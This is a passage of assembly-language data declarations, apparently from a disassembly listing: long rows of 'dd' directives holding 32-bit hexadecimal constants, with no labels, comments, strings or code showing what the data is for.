		dd 63ED303h, 0E038D59Fh, 11FB3DCh, 0FF904209h, 30555CC5h
		dd 9629EDD6h, 14148060h, 3BA2F024h, 0C7CB0020h,	0B35DDA39h
		dd 243822A0h, 809C3866h, 31D43EE3h, 1CF5EF85h, 0C3CF730Bh
		dd 0AD939FEDh, 26C56106h, 1F83D18h, 740664Bh, 642AC2B0h
		dd 1301E428h, 0AF97A1B3h, 3F4E8D1h, 0F47A007Bh,	0DD833C35h
		dd 0F309B40Eh, 84235C41h, 90D013DBh, 9AE0B3h, 773B8129h
		dd 3793D46Ah, 7E164203h, 0A7CE2757h, 0D6098A51h, 4CF8FECCh
		dd 0C044EDA5h, 0F8A89C12h, 17F25E16h, 8C70AC2Ch, 0BC244B04h
		dd 3B010E0h, 8C316A57h,	37B04046h, 7D16F199h, 800FB574h
		dd 0DF3EC0CEh, 583BE57Fh, 0FC0F320Ch, 2460798Fh, 3A55F805h
		dd 56A7BF0Fh, 7C47925Ch, 75E39C0Ch, 226080D1h, 8B7E01C9h
		dd 0A78A3D6Ah, 0CA46F87Fh, 0CFDEA801h, 8FAFAC34h, 1E6496E4h
		dd 0CE2B0226h, 7AC030CEh, 0AF199E32h, 0B25A4200h, 99F73C86h
		dd 0DB6D105Bh, 9C404BC7h, 9676E4DFh, 0BA2C00B8h, 26C84E01h
		dd 9F12FBBCh, 800833Fh,	657DBDCAh, 0CF7803D4h, 47E54C46h
		dd 94B929B0h, 412FC200h, 611C2AD1h, 743B0017h, 50CA24E3h
		dd 5800DB31h, 0D34CA434h, 77D406Fh, 0D50DC1D0h,	5E15609Fh
		dd 1102F469h, 6843ADE8h, 65A4C034h, 0D13F01ACh,	38EB4C22h
		dd 8EC1F8E9h, 0C369FF17h, 29119C00h, 6420CBh, 5C84AA6Dh
		dd 83D7A866h, 129D6000h, 5E751855h, 94A2092Dh, 0B48BFC76h
		dd 80DB7405h, 6AA31168h, 18BC7501h, 0CFCC7294h,	0F4488C40h
		dd 0D8450097h, 5EEE01E8h, 0EBF0B563h, 60335000h, 0F49FDC74h
		dd 2D0900CFh, 91FED6EEh, 1BE08CBFh, 86153C00h, 0A7ABACAh
		dd 2C963D73h, 0F8F8ACh,	1E499B6Ch, 0B90127DDh, 54484AA1h
		dd 40E689C5h, 1CC71B80h, 0C07C4D92h, 0B463ECCBh, 7212EA5Ah
		dd 131FC8CAh, 8B744840h, 494CF758h, 50084BBh, 75A1A028h
		dd 7200ACB1h, 0E4D5133Dh, 74A6D670h, 30277857h,	0FF31E7F4h
		dd 0F301B5DDh, 8AC8E425h, 3604A95h, 389060h, 0A6265FB4h
		dd 9FC40C9Eh, 0DA8DCD00h, 0B1AF05E7h, 0B5A0118h, 0D40A5BB0h
		dd 4E78C419h, 3CE93F00h, 9742D0F4h, 7AFC000Dh, 0EC362F4Dh
		dd 0BC008FD1h, 0CCC22B19h, 6CC424h, 51A843F1h, 0DD5847D5h
		dd 0E5B19F01h, 8590575h, 0E348020h, 80395A56h, 0A7559CA0h
		dd 58005C82h, 0E3654D41h, 7FFB1F25h, 33427372h,	0CEF0D235h
		dd 91B0D0A4h, 0F2003010h, 36B1EA8Eh, 0B5E4D9h, 8816CC4Bh
		dd 0D23E7C29h, 0E90988A8h, 8F02EB75h, 0C63803F0h, 0B88468B7h
		dd 0BED2021Dh, 0B19EB2AFh, 655A5860h, 0D66E1A00h, 60458C2Fh
		dd 9218017Ch, 4A214EF8h, 2D7320A1h, 0B3C5BB00h,	638741CEh
		dd 67E23FEBh, 0CF584237h, 0F080FC00h, 9E006F1Bh, 759319F7h
		dd 13DE678h, 5D43AEEEh,	0F406319Fh, 5501402Ah, 0F3965AFEh
		dd 0A8408C5Bh, 49A036h,	0BF0D98A2h, 7D74D020h, 88F9F830h
		dd 614DD20Fh, 0CF5DE014h, 3689DC53h, 0B1296402h, 66828AD7h
		dd 94410100h, 0AA5575E6h, 0DE4474F7h, 8A427B18h, 72E02CB0h
		dd 0E584015Eh, 0A3121394h, 819DC8C2h, 83795438h, 4EADDCECh
		dd 0B5D1E0A1h, 2C1DE250h, 8FE492h, 635F597Dh, 0E23BCAD0h
		dd 7F2B8E7h, 9AB94334h,	809DF913h, 2CEA9BE8h, 2B25678h
		dd 0E63719A5h, 0DED7E8A0h, 8F0FA702h, 80B25992h, 2CFD47F1h
		dd 2A820F28h, 79621574h, 0F8E03EC0h, 2B0086CDh,	51C8BDDFh
		dd 1D992AC7h, 87D29AABh, 0F0D30823h, 0CAC62262h, 5B94CB07h
		dd 31E18761h, 0D428A02Fh, 9E4DFB01h, 0F0EFC35Ah, 0C8097612h
		dd 0CC4688h
		dd 285D3BD2h, 755616A8h, 0DD7040AEh, 65164053h,	9B71E100h
		dd 35A62458h, 0D737007Dh, 858DFFE3h, 49003957h,	0BD3B63E9h
		dd 4B3167DDh, 0A8580035h, 5B3F186Ah, 0D4FD5F50h, 3158E700h
		dd 544795F5h, 94EE0040h, 939D9C4h, 2F050FAEh, 1C866865h
		dd 1C3887C6h, 40DBA57Ch, 0FB8CFAFEh, 81007434h,	0C8D91E0h
		dd 76B5FEAh, 64E249B9h,	1F783347h, 0FD9462F8h, 7A413Fh
		dd 4DC68D39h, 0D6B153h,	3F8943BCh, 8E4FE5C1h, 0BEA74400h
		dd 54E8DF0Eh, 97460103h, 0CCFFA0B8h, 80844720h,	22098C24h
		dd 883E4Dh, 19167EB6h, 983306h,	0B89D97C4h, 41FF5DAEh
		dd 8D7C4A01h, 199FBFABh, 9E2C2760h, 48F1895Ch, 0C425F600h
		dd 0B403B829h, 754F7CD2h, 0E067E861h, 0F82A02EBh, 84035586h
		dd 276F5840h, 0BED80900h, 0ED3D69C3h, 0CA50022Eh, 62F82D38h
		dd 28DB5C40h, 0F1E98409h, 0A92C4082h, 2C0B001Bh, 47765B0Ah
		dd 9E006C16h, 0E7F80F58h, 1704EA4h, 0EB54ADBCh,	0C42B5FA7h
		dd 0D20928D7h, 797DA2h,	0AB578B38h, 247002EFh, 210508D1h
		dd 91E2D8E8h, 0F580B8B1h, 250C332Ch, 4C42002Fh,	0D4A720A1h
		dd 0FB1881EEh, 69803F37h, 2A210014h, 0B8C666BEh, 4A1C9348h
		dd 0E0404E5Eh, 65182B29h, 0E6707Eh, 0A7D81DCEh,	2688F683h
		dd 1C48E0Ah, 350EF466h,	7972E0E0h, 3ED630D2h, 2E80C66Ah
		dd 0C8AC1AC7h, 7C4F6452h, 0D00B2C00h, 2725817h,	13049747h
		dd 7048C8A0h, 7107B37Bh, 0D9DD2EC5h, 30C0B655h,	7FA4FE6Ah
		dd 13800707h, 1EF1E590h, 672490B7h, 5AF6B383h, 6AC23500h
		dd 45FD9DD3h, 0B0F0ECD5h, 44290509h, 407B1678h,	0DCDA2BECh
		dd 504A32F8h, 303F1800h, 85B91h, 6918FDCBh, 0A063B25Ch
		dd 80D4113Ah, 0C2EFC6A5h, 56E8BE8h, 0A2D3C1Fh, 5314F43Ah
		dd 4186D401h, 0F5340361h, 0CD17E8h, 24FEBF19h, 476D982h
		dd 67783F03h, 90656F12h, 1AF6ABDh, 9D254EEh, 0F819D046h
		dd 4C0081A7h, 628C364Fh, 0FE07C510h, 0CD8A259Bh, 0B23BB880h
		dd 720013F0h, 0DD6DE8FAh, 7329Eh, 0A4265223h, 3C3BEAA9h
		dd 17688400h, 0E00259D6h, 0A0DF0075h, 3E2F0DCCh, 1901A812h
		dd 1B9DF3F1h, 0C040958Bh, 74CCD1C0h, 289C131Eh,	0C074878Fh
		dd 48AD94D2h, 64D76607h, 90476E3Bh, 0A8616A07h,	1080763Ah
		dd 89924665h, 8000980Ah, 60B442A7h, 0E406A15Eh,	0CBC001E3h
		dd 0AC1834A8h, 0D97181D5h, 0D43E42CCh, 18E850EAh, 88D81261h
		dd 0BA0045C7h, 3513416Ah, 0F6390D27h, 0FB4600B4h, 2B6FBD8Bh
		dd 0F31FEDB7h, 1D44A9BAh, 0D8C483C0h, 10E35C48h, 6F9B006Eh
		dd 73B0FA99h, 15412582h, 94CCBC40h, 0B4098B00h,	6B8AEADFh
		dd 0B7B90083h, 8DF495AAh, 0C02AE90h, 75B6BF8Bh,	6CC1C0B4h
		dd 3C7F00CBh, 3B098FECh, 70388F5h, 469DBAB2h, 6CCBD0C5h
		dd 6D6000B3h, 0B8E0E132h, 55005AA8h, 0F85BF7CAh, 9D3B9Bh
		dd 3372647Bh, 0A43ED2ACh, 0F59F4900h, 6593F0ABh, 69BB07C6h
		dd 0E01F568Eh, 0BF0E7DC0h, 3FEE5D00h, 5F724185h, 38905C9Ah
		dd 0E2A4AF3Ah, 1C3184A4h, 7F7C434h, 9BD4C080h, 0C0C97424h
		dd 0A753612Bh, 0CF54BDF8h, 4522670Ch, 10DB4350h, 0E19F5857h
		dd 24661B8Ah, 0A1049311h, 2547344h, 90B446C2h, 92110FECh
		dd 3688A060h, 0BAF40992h, 60AE314Bh, 3886FA8Bh,	784450F0h
		dd 2FE318BBh, 0CF1C3952h, 9E7BA93Dh, 10FA468h, 78B0FA6h
		dd 47C12BCEh, 718F99B4h, 0B60581C1h, 80080F96h,	40AEA104h
		dd 0E3E8D29h, 0B64E01B5h, 99B0FE8Ah, 4F798034h,	52FFE124h
		dd 3DEB24A7h, 96D68028h, 683B8D88h, 747343Eh, 33CE5302h
		dd 0B6985693h, 0ED710029h, 9C015E9h, 0D832CFCCh, 7A6A0879h
		dd 0E9EF0040h, 36934529h, 0ADE421B1h, 0B410A900h, 48C53B87h
		dd 0CD5B58ACh, 62C3430Ah, 0BD8803B4h, 183B9C18h, 0CB9CD028h
		dd 60A32314h, 0AA441010h, 2E518963h, 36991CA0h,	61D811C0h
		dd 5CB92B8Dh, 0BB194365h, 0BF3F086Dh, 8D598F21h, 0DB70C017h
		dd 0FAB122F8h, 304000D7h, 50A48147h, 4C00D6CEh,	3FDA6298h
		dd 0E388A31h, 0D5107A1h, 72971CC3h, 3C9A9018h, 0C12189h
		dd 0A0C7230Bh, 97E8F880h, 0BAB1DC00h, 0C06F6A5h, 0C08A010Fh
		dd 0F4B72CD6h, 805880D9h, 0A16A899Bh, 2F32007Ch, 0B6A0AE6Fh
		dd 6200ED0Ch, 0E4980E08h, 0E488FC70h, 28A4275Eh, 52000F58h
		dd 30BCBE03h, 0FCF7FECCh, 1E590046h, 0F5E3E299h, 0E0756DCh
		dd 0D02EDEA3h, 0F6823C20h, 0D99300B2h, 52E76966h, 0CD1D23C0h
		dd 1C7F1689h, 8CCEDD2Fh, 9E5B07DEh, 5C1B8A90h, 0AE7000B0h
		dd 6279F74Dh, 5A03BC8Bh, 7E097B61h, 0EA43C810h,	818C0087h
		dd 2DD70598h, 0E0F389Dh, 0A07D47A2h, 0ACAA7A73h, 29F11CBEh
		dd 5D7B8364h, 0CFA72402h, 0B8AE0F23h, 20C3AFF9h, 7900D186h
		dd 428D9992h, 14E6922h,	516CFED9h, 20A76A57h, 75EAC6FEh
		dd 0FC083D00h, 24450F76h, 95AE00BEh, 3173A89Ah,	0D5007EE9h
		dd 0D3E2B128h, 263EE42h, 1C672EFh, 0D4E090C0h, 0C1006775h
		dd 0CD9A6F82h, 0DEC4A0h, 222CFFB1h, 2AFD746Eh, 5C123700h
		dd 0B41325Dh, 0B8D113EBh, 948700A7h, 0F6DF55C3h, 7AA8B3Eh
		dd 0A2068A36h, 93E85980h, 0BCD501FCh, 6280DDB1h, 33C9E4C1h
		dd 4121BE00h, 8DD68B11h, 22300099h, 3BEDA9A5h, 0E6006373h
		dd 2CF802C6h, 17057E42h, 0DC6D1Fh, 0BEA3A45h, 0DB00A538h
		dd 13A9B6ABh, 772BA79h,	56977BE7h, 336ED015h, 6300F7B4h
		dd 8AEF02C7h, 0EFF0A1Dh, 2DCDE060h, 25FB3840h, 0BBEE79BAh
		dd 7CBF2C00h, 0D719E8AAh, 8E3439A0h, 51EC200h, 0BB574A79h
		dd 63736324h, 0DCE4CD00h, 60AF18CFh, 665010A0h,	4101CE79h
		dd 954E9CC1h, 1BEC238Ch, 93D70E09h, 4C60FE83h, 5C05D1B3h
		dd 0B931181Ah, 8A088170h, 17708BBFh, 0D3B700BAh, 0F736C2BCh
		dd 82007CCDh, 8E4ED750h, 6DFE4Fh, 6AB3B8D6h, 37AD749Dh
		dd 0C6184A02h, 0E039C4D9h, 0FE82B278h, 4E080086h, 12419EF4h
		dd 0BB01283Fh, 7232AF29h, 0A3403DF6h, 46D319h, 1DA9B796h
		dd 45B2529Eh, 99FCB100h, 4CF3EA42h, 0FED43FF7h,	87D9D880h
		dd 725126B8h, 89E7C200h, 658EB4C7h, 38DA004Bh, 2693974Ch
		dd 8D0034A1h, 75122A83h, 91166Dh, 843DF1CDh, 74615CB6h
		dd 0CD4E803h, 1DE6DECBh, 4C39D848h, 455913EEh, 6E97500h
		dd 0F4EF3044h, 4837EE03h, 9A13A9B7h, 0E0370E81h, 5B957981h
		dd 75E8800Fh, 937C25B8h, 0C53400FFh, 0D305F2DFh, 6F020ED0h
		dd 0FE11CEEFh, 44B883A9h, 0C970E180h, 82AF7180h, 0E9A6D937h
		dd 1CD4238h, 0D0165639h, 30E076DFh, 94BE0E80h, 0EB00B9ABh
		dd 0C49DE63h, 0B029D0E3h, 5C453E01h, 53D12469h,	0A4008445h
		dd 0DC67738h, 7C324874h, 0C3DD0073h, 0C2AA72F6h, 0E6036857h
		dd 1C3F05F8h, 0E03D8B69h, 0C764BBh, 9F457D0Ch, 0CBA94A4Fh
		dd 615D8A03h, 0AA5E2D77h, 691C40A8h, 1AD90017h,	0D17A8C21h
		dd 6A009D4Ch, 0BBBFA29Bh, 7730C5EDh, 785E482Bh,	0F0735300h
		dd 94776EBCh, 0CE2D4D09h, 0D845003Bh, 7804F84h,	0F0A578Bh
		dd 0BDAA2036h, 714C61E2h, 9A057C0Ch, 6AABB748h,	760AA402h
		dd 383D06AAh, 14CF593Bh, 0C471A5h, 1DBFCABh, 5A5388h, 0CC1E1D68h
		dd 328C510Fh, 0ECFBE500h, 852F41DAh, 0A6090702h, 80A7ADBAh
		dd 0B7107957h, 6B58EB01h, 5AC0864Ch, 16A3BAECh,	73DDDBFh
		dd 707D9635h, 4D54B161h, 1A6CBD00h, 0D8145B36h,	0EEE8002Fh
		dd 38729B39h
		dd 0DD249CF1h, 0CF00A4FAh, 61E3D2DFh, 3FD475C1h, 0C7037E78h
		dd 9FB48737h, 407991B0h, 0ACC6D4A0h, 2700F8E4h,	0CFA0E7D9h
		dd 0EF4F8Fh, 1718EBD5h,	37F08259h, 0E281CA00h, 412B26EEh
		dd 8DD700B1h, 438F916Dh, 820339D6h, 7EA62792h, 4D2100C1h
		dd 0ED1B848Dh, 0EB0181A2h, 19AFAB85h, 503014CAh, 49AD00EEh
		dd 5E922DAAh, 0B2486381h, 215800ACh, 898F31B4h,	0FCE9389Bh
		dd 161CB800h, 5876FB29h, 0D4AC7000h, 0D6463F9Eh, 0F2F11C63h
		dd 18721821h, 0AF00E436h, 9A6B8CEEh, 43E6423h, 2542353Dh
		dd 3C0C8065h, 68001058h, 0CABEE6FFh, 0A25680h, 0F4AF499Bh
		dd 84B4531Dh, 990039EEh, 300BB831h, 0BD36BBh, 517CBEB3h
		dd 0E229D779h, 1DE0A900h, 0AD5D8D2Dh, 0A14BB0C8h, 31EDA10Ch
		dd 920B803Bh, 2F0C3EB9h, 70FE240Bh, 4725Ah, 2B1E72DEh
		dd 0F2C34D98h, 0B85D100h, 7D9469FAh, 0F5A73C5h,	0F35BC1A0h
		dd 7F608DA0h, 0B707797Ah, 1E27C340h, 68BB2991h,	989FACC5h
		dd 28D4C167h, 606FBFEFh, 6C064174h, 0F3892718h,	21F90111h
		dd 0BEF06AD4h, 5134C43Eh, 8681D91Dh, 692DB800h,	90A305A5h
		dd 851E0070h, 0A87FE4EBh, 0E902FECDh, 0A28250FDh, 0DE8048ACh
		dd 469348F3h, 3B74284Dh, 0E400CA1Eh, 4EAEF511h,	0E15C1C21h
		dd 0AA85006Ch, 35A2C4EAh, 637738h, 0DA267C04h, 7D3A201Dh
		dd 52AE8097h, 67FE1DBh,	94F18F5Fh, 4F0F3828h, 0A07D6A23h
		dd 66DAD316h, 0F4D80071h, 44C921AFh, 728103Ah, 0B850B09Fh
		dd 300A1EB8h, 0A53F7F74h, 0AF84E800h, 171FB85h,	0C6C2C7B8h
		dd 0FCA6CBB7h, 7E00999Eh, 198CF088h, 9AB044A0h,	9ABE00C8h
		dd 29F7BA0Eh, 8A003A31h, 0DD63B1ECh, 9C72AD4h, 0E3B76D71h
		dd 0AC20810h, 44725Ch, 0CA6FB27Ch, 1E1F8C5Fh, 0EB7679Fh
		dd 9E0AE71h, 1C806EECh,	0E600DD7Eh, 58BBB376h, 0DEDF40h
		dd 0C23AD068h, 93726E99h, 0B849420Bh, 80FD0939h, 0C4A2CCD0h
		dd 67570037h, 2920E925h, 1CFCA78Eh, 7F0F45F0h, 0A39E797Eh
		dd 0C3FF7D57h, 9D498889h, 1DF80722h, 0C0E1DCBAh, 9857C647h
		dd 0A0857404h, 0F5402DD5h, 0BF3DD81Ch, 0F3DF4200h, 0AF726962h
		dd 0B9250E1Eh, 0B1E0CC82h, 0CD3E27F6h, 464FAE00h, 4B3B2645h
		dd 6048585Eh, 805C111Ch, 0AE7B2E1Ch, 1F0025A1h,	0AAD7C89Dh
		dd 0F8CA62h, 0B5F07438h, 0AB16FD86h, 0BDFFBE01h, 0DB40F158h
		dd 5705118Fh, 0ACADEC02h, 20A506h, 24C6DB04h, 205701A8h
		dd 3431BF00h, 583D7F70h, 0F835F645h, 0D1F50925h, 4C07B1A2h
		dd 3F20D01Bh, 6F0105Eh,	1FB5716h, 4FADA300h, 5A96416h
		dd 2ADD5560h, 0AA84177Bh, 7C886718h, 4AD000B7h,	0BB0B5CD8h
		dd 0B4034F79h, 21859472h, 0E6ED8008h, 93300286h, 38D4F9F0h
		dd 0AB81D380h, 5B0019DFh, 2E31AF2Bh, 0AA55Dh, 0A1DB28F3h
		dd 7CB7B939h, 9E6FFC05h, 0DF0FDF8Ah, 3E678086h,	3C16E388h
		dd 8004CAAh, 0AFE25DFFh, 29008297h, 0EB72F40Eh,	958420h
		dd 7AF0DF49h, 0BEAEE638h, 0BCB17600h, 0AAC550F8h, 4E79DEh
		dd 0BD556574h, 3539F1A0h, 2C0B66F4h, 80EF7BA1h,	1605EBA5h
		dd 0C3CC002Eh, 9EE86CDDh, 1AE07227h, 39293Bh, 9A98034Dh
		dd 7F38FE17h, 37A301EBh, 51F5BF05h, 0AE94469Dh,	6EC1F400h
		dd 3620801Bh, 86B6632h,	590021CAh, 8C8C18Fh, 0A438773h
		dd 37A22749h, 0F6E580B4h, 9A921823h, 0DCFA6101h, 4681C6A7h
		dd 5D3060C2h, 0E549C0CDh, 7F57C880h, 1D6F58h, 0C466462Eh
		dd 547840h, 683D0DAAh, 28DC1F77h, 0AC3950D8h, 0D48E0FADh
		dd 8101611Ch, 91A4BAD3h, 0E280EBC9h, 0F01B68C1h, 5FCE448Ch
		dd 3CC1FD01h, 3B0529D6h, 0A55C180h, 62CE4CE9h, 0E8AA171Dh
		dd 0D081C480h, 7464F8ACh, 950A80ABh, 3CF5630Bh,	55CF8368h
		dd 0AE083778h, 638EB021h, 0E000D5C8h, 0BB1B4B91h, 0DBDA95h
		dd 0A9E5771Ch, 0A34637B1h, 184D448h, 591A8515h,	54F1B729h
		dd 0EE6F670h, 75167ACEh, 0B809BA0h, 477C8676h, 80376B3Eh
		dd 9065BED5h, 67CF4Bh, 0C9687DFDh, 2D94D40Dh, 46162600h
		dd 0B128640Bh, 0D1E003AAh, 7CC24323h, 1FDA9CA0h, 54D8FA00h
		dd 0E6B3B0F5h, 0B7083AE2h, 9A21D075h, 84ACD900h, 0BF56A0A2h
		dd 26F85558h, 0E502BAF8h, 0C0764297h, 0E8992B8Fh, 3C23007Fh
		dd 16F7B751h, 471903CDh, 8D08A51Fh, 0C95F2180h,	0CC0275BCh
		dd 0A0A92A00h, 138C308Fh, 92D8CE48h, 3C80C32Ch,	6F936248h
		dd 0AA7A0039h, 6614788h, 5997E731h, 17600839h, 88929921h
		dd 0ECA603F6h, 55F51FCDh, 0A0EF0588h, 0E21AC319h, 51B29CB0h
		dd 3D30A6B8h, 16FB08B7h, 8164196Dh, 0BCD55340h,	0E800C47Eh
		dd 0CF49195Eh, 0C7962692h, 0C3A13F21h, 5D0E659h, 0C706554Ah
		dd 0B5979348h, 1D9F0378h, 0DF34390Ch, 7ABAF3E0h, 7BC4A0A7h
		dd 0ABA39660h, 0D8006590h, 2A5DB439h, 0F7E061h,	0AD7A0285h
		dd 0EF66DF9Fh, 0D0108067h, 0E2B3C270h, 0F68A0005h, 0EDB046CCh
		dd 4F1EC34Bh, 6E47F44Dh, 8C901081h, 1E67BC9h, 598086E3h
		dd 0EDB262ACh, 373CDCFCh, 0FE25C200h, 648EE169h, 654E3B02h
		dd 0C026621Fh, 6804C542h, 0AF00FCDEh, 0C3B79681h, 3EA29458h
		dd 0B5035E8Ch, 82597AB0h, 3FE01C82h, 9F00661Bh,	0CCBB79DDh
		dd 3019057h, 0C0313764h, 1AA615D8h, 0E56FD003h,	0B860845Bh
		dd 0E3C766h, 0EC190A7Fh, 0F521A8EBh, 49104E1Dh,	0D0EF1033h
		dd 6C75A28h, 0CEAC87A0h, 506708B8h, 28C08E21h, 79C59Bh
		dd 0B24F64D3h, 9EF32E38h, 42004C77h, 0D126D2BCh, 0AD70AAh
		dd 0DFEB532Fh, 0A77EE691h, 65484F67h, 0A3BF6C0h, 3859C058h
		dd 79B9B041h, 52479700h, 29C5EFD4h, 16750186h, 0D6F4CE0Fh
		dd 0BA6E60ECh, 0A40258A4h, 40C75E28h, 1053198Ah, 78289C82h
		dd 369F2DDh, 5E9E33D8h,	49D8B886h, 2F07A22Ah, 0F6D9466Ah
		dd 0F80E40CEh, 0C67A2C6Ch, 8E0A641h, 6B454F00h,	8B86BC4Eh
		dd 0C6840021h, 2592F199h, 65F4790Ch, 0C004EA00h, 0D9E89319h
		dd 1D95B83Bh, 3936EDE4h, 6ACE5900h, 0A7C627C1h,	590CFA30h
		dd 0E850F5h, 77D20DB7h,	34DB5A38h, 8212013Ah, 0D83C86AAh
		dd 0A89CA03Fh, 74D0F8A0h, 3D129A7h, 0AFD900A8h,	24F47ED5h
		dd 8B31DC00h, 26A4CF34h, 0D4600BBh, 0FEF014ADh,	68A0A7A8h
		dd 0EEF0C411h, 0B4F38200h, 0F7EA95Ah, 8B5D0120h, 3092A18Ah
		dd 0B56180AAh, 0F0944DF9h, 0F26F0073h, 0BDC6C159h, 53032C65h
		dd 6CD8D217h, 702FE095h, 96773122h, 804B0B38h, 0F047DB9h
		dd 0D5B276h, 35F92F1Ch,	89DDEA16h, 0E8068A76h, 3F0BB5F2h
		dd 93F631h, 4132808Eh, 4BE206B2h, 8D3448h, 40D3C670h, 31995BA0h
		dd 0D8D1E8BAh, 6DA850F7h, 5D0080BDh, 20155F5Ah,	7B30C371h
		dd 76A43B9Dh, 0EDD27780h, 1CF87F2Ah, 8021BE3Ch,	3056362Ch
		dd 67EC9EEh, 0D43525E5h, 0C600D08Eh, 6F38C8DEh,	12B9CFBh
		dd 0DDB064A6h, 0E048ABECh, 0A3E0B49Dh, 0CF5AB100h, 70E15ED4h
		dd 236C11F3h, 5B240D41h, 0E0EBA164h, 0C0FFA6h, 34A30C22h
		dd 61E64DC4h, 10B89F54h, 0A9393A60h, 0C09CB33Fh, 0CA7701F2h
		dd 5100068Bh, 3E41EC05h, 0B912CFh, 1F203423h, 0EAE5D4A8h
		dd 5F2442F3h, 0A90CB320h, 0F04800BDh, 0B59590A0h, 0EF1D6BD8h
		dd 364632B7h, 0F8A153D7h, 4D7B00EAh, 0BBCE1862h, 0E2640BB6h
		dd 33816649h, 0A9C8CF10h, 4BEE0058h, 2CBDDD69h,	0D4009FC7h
		dd 9C0FDCF5h, 0FA5974Ah, 83A0FD8Dh, 44D51283h, 6852C980h
		dd 3B1AFF00h
		dd 54559DE3h, 0D604A7E4h, 0B9CAE70Fh, 0B708356h, 0F5D07DEAh
		dd 0D34CE4h, 4AB4A445h,	0CFA76754h, 700D840Bh, 28390CDCh
		dd 0B0604465h, 3E3D608Ah, 82840F5Dh, 0A820CB63h, 6BD63435h
		dd 0A6E8C500h, 61998C90h, 94290FC6h, 9241DCh, 750976E4h
		dd 0B70EE7CEh, 0FC9D882Ah, 7D95DF80h, 7B5245h, 0D821F889h
		dd 9FB1320Eh, 0B9478A0Eh, 0A5C16039h, 222C38h, 0E3CEBD0Ah
		dd 0BF583607h, 0B6FEF600h, 745904A6h, 84F2014Ch, 642AE16Eh
		dd 0E4DAC5A4h, 2C004DC6h, 8FBAEB5Dh, 1FDBFA34h,	405CE609h
		dd 906665ECh, 740789E7h, 5655BE45h, 0A0B87373h,	82787Fh
		dd 1D2C638Bh, 39B3113h,	1A5AE000h, 17097CEFh, 4BC30723h
		dd 1949BCh, 910F256Dh, 843AB900h, 43E293B8h, 0CEFB01EBh
		dd 71867A57h, 90A9406Ch, 820007B2h, 0DCF7D1ADh,	77A6BCBAh
		dd 76F5FEF4h, 58A21E5Fh, 9470C02Eh, 0C52ADAEAh,	4AD1700h
		dd 1D3354AAh, 972B0395h, 9971F02Dh, 0D0B786E9h,	0E360132Eh
		dd 0B48D8AD8h, 0F12800D2h, 23A349DFh, 9B00BC8Ch, 0D40631B8h
		dd 38610BEh, 0A1245330h, 0FEE0D718h, 4E28ED71h,	0AD00EDA7h
		dd 6BDCEE8Ah, 2B9B2h, 4F5BF04Bh, 690798ABh, 2235B800h
		dd 0BB3DCAECh, 9A5E0027h, 0DE5DBE2Dh, 0FD0026BCh, 1C808CCCh
		dd 0F2246E46h, 2049C0C2h, 0B6596A29h, 0C0921100h, 0BFBB43BEh
		dd 368D004Ah, 0EAFB96CCh, 8000ADD8h, 5F335241h,	3ED2C53h
		dd 1D8CDAB8h, 52244325h, 481D41Ah, 0ED44CECh, 50BD99F8h
		dd 14FCCBBh, 0C883204Eh, 0CB97CC41h, 6E6B1900h,	850E022Fh
		dd 4CC010C9h, 0C29700B9h, 0EAB7F773h, 0E3C00E6h, 8EDF62F2h
		dd 0EEEAE44Eh, 0F9427006h, 43797B36h, 0CA08806Eh, 1043B90h
		dd 2221B957h, 613D6AEBh, 1E4080CEh, 73E6158Dh, 9E3E0040h
		dd 5471965Ch, 11C05DCCh, 0B30F9D8Eh, 63A0230h, 901252C8h
		dd 7635EC40h, 3FED7800h, 0C50B9447h, 5DDC0EC6h,	4127663Dh
		dd 0D4E14017h, 0C09D6BF2h, 1D8CE3Bh, 0B5515EFFh, 0E4B192A3h
		dd 0C1DF929h, 48405AE4h, 0FC8FF0C4h, 51B000AAh,	0B3ECA99Eh
		dd 584CDE52h, 482D309Bh, 81EBB8h, 21845390h, 861E55EFh
		dd 8F250A00h, 0F302A032h, 0E71B0E51h, 4A604638h, 0F1F4ED36h
		dd 14C4C4Ch, 1F871DCDh,	5770D617h, 38157449h, 0F808FE5h
		dd 382ABF18h, 1000FCC2h, 0F2033065h, 0E6EB7Dh, 2BE586AEh
		dd 6DBCB0A8h, 0D2C0D9C0h, 0D49001h, 8521551Eh, 0E1B7A723h
		dd 97B530C0h, 3A51114h,	0F6DFCFBAh, 0B98B41BEh,	33D3D0F7h
		dd 257790E2h, 0BD0B0500h, 0A9D8C921h, 941F0075h, 0CA411255h
		dd 8915C67Fh, 2F819B5h,	1F851D15h, 67B8A0F0h, 35E1C20h
		dd 8F4A33E4h, 0B1000C5Bh, 980A5C36h, 0E0387Fh, 57971F94h
		dd 3149BB04h, 0C96DFC07h, 8D808684h, 12743322h,	40F8EFBh
		dd 5CCF03C0h, 0E1F7AB80h, 99A508h, 57B50E87h, 8B265F35h
		dd 7CB32926h, 97316902h, 538CA098h, 0E2C099B8h,	540C079Fh
		dd 0C06815FDh, 7ACF551Dh, 0DF00EE98h, 97ACD2A0h, 2A1BBB6h
		dd 183AE106h, 709E21B1h, 1D2E2F1Eh, 48161A40h, 24AB8776h
		dd 64C88D3Ah, 0D04B413Eh, 0AC2027C3h, 3AFA3C42h, 681872A4h
		dd 49456094h, 3C60D0C3h, 0BDCC4B70h, 117D60C8h,	83F8C7BCh
		dd 380F4C12h, 0B271A860h, 108A0A4Bh, 509C8F3Eh,	0A2128BEEh
		dd 0D470A636h, 448818B5h, 8D372EC0h, 0FCE08992h, 329812Fh
		dd 5F958BEAh, 84A54EA5h, 58AC4F54h, 14006A29h, 728F2BF9h
		dd 0E6FEA00h, 0D5317582h, 0DA30005Bh, 0E6D8A738h, 1C30637Bh
		dd 9CE7B054h, 107A18FEh, 7B14D928h, 96008BF0h, 53D5063h
		dd 12A336F5h, 4992BB6h,	7175D6F4h, 1DDC20DFh, 0C89217h
		dd 4B0E6E5h, 1906DE78h,	2685FC01h, 0DCF90C2Ah, 0BC64D6h
		dd 0E48441F8h, 4806BBC4h, 0C47752h, 7113552Fh, 132B6FFh
		dd 0EF992957h, 0EB03CF41h, 0FBDC1E51h, 1BE03101h, 6DA801CCh
		dd 38E070h, 0FF788FE9h,	27533580h, 25ACC754h, 3AC53C14h
		dd 58090D8h, 5DE3FE3Fh,	5C4F50C1h, 0A698E834h, 1CFF00B0h
		dd 688DB233h, 140E679Bh, 62CB59F8h, 0A0E6B98Eh,	98922228h
		dd 0ECF8A881h, 0C4403BAFh, 1224392Eh, 94BE00C9h, 1D0AEB35h
		dd 0A42EBF01h, 18B751CEh, 0C0048442h, 88AEE69Ch, 5660F1FAh
		dd 4EF8D011h, 0D9D60085h, 90B052C6h, 130B110h, 4958A999h
		dd 8BAF0070h, 0BAB65715h, 50B573A2h, 1DA5001Bh,	0D6102026h
